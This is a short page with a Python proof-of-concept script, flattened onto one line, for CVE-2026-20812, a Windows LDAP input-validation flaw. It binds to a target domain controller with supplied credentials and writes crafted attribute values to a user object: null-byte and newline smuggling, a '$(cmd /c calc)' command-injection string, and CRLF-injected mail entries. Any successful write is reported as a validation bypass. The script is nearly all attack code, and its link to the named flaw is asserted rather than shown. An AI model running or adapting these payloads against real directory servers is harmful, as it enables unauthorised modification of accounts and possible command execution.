CVE-2026-20812 Windows LDAP 输入验证漏洞

# CVE-2026-20812 PoC - LDAP Input Validation Bypass # This PoC demonstrates improper input validation in Windows LDAP # Author: Security Researcher # Note: For authorized security testing only import ldap3 import sys from ldap3.core.exceptions import LDAPException def exploit_ldap_injection(target_ip, domain, username, password): """ Demonstrates LDAP input validation vulnerability exploitation """ try: # Connect to LDAP server server = ldap3.Server(f'ldap://{target_ip}', get_info=ldap3.ALL) conn = ldap3.Connection(server, user=f'{domain}\\{username}', password=password, auto_bind=True) print(f"[+] Successfully connected to LDAP server at {target_ip}") # Malicious LDAP attributes with improper input # Exploit: Inject special characters that bypass validation malicious_dn = "CN=TargetUser,CN=Users," + domain # Craft modification with validation bypass payload modifications = { 'description': 'NormalValue\nMaliciousValue\x00HiddenData', 'displayName': '$(cmd /c calc)', # Potential command injection 'mail': '[email protected]\r\nmail:[email protected]' } # Attempt LDAP modification for attr, value in modifications.items(): try: conn.modify(malicious_dn, {attr: [(ldap3.MODIFY_REPLACE, [value])]}) if conn.result['result'] == 0: print(f"[!] Successfully modified {attr} - Validation bypassed!") else: print(f"[*] Modification of {attr} failed: {conn.result}") except LDAPException as e: print(f"[-] Error modifying {attr}: {e}") # Cleanup conn.unbind() return True except LDAPException as e: print(f"[-] LDAP Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 5: print("Usage: python cve-2026-20812-poc.py <target_ip> <domain> <username> <password>") sys.exit(1) exploit_ldap_injection(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4])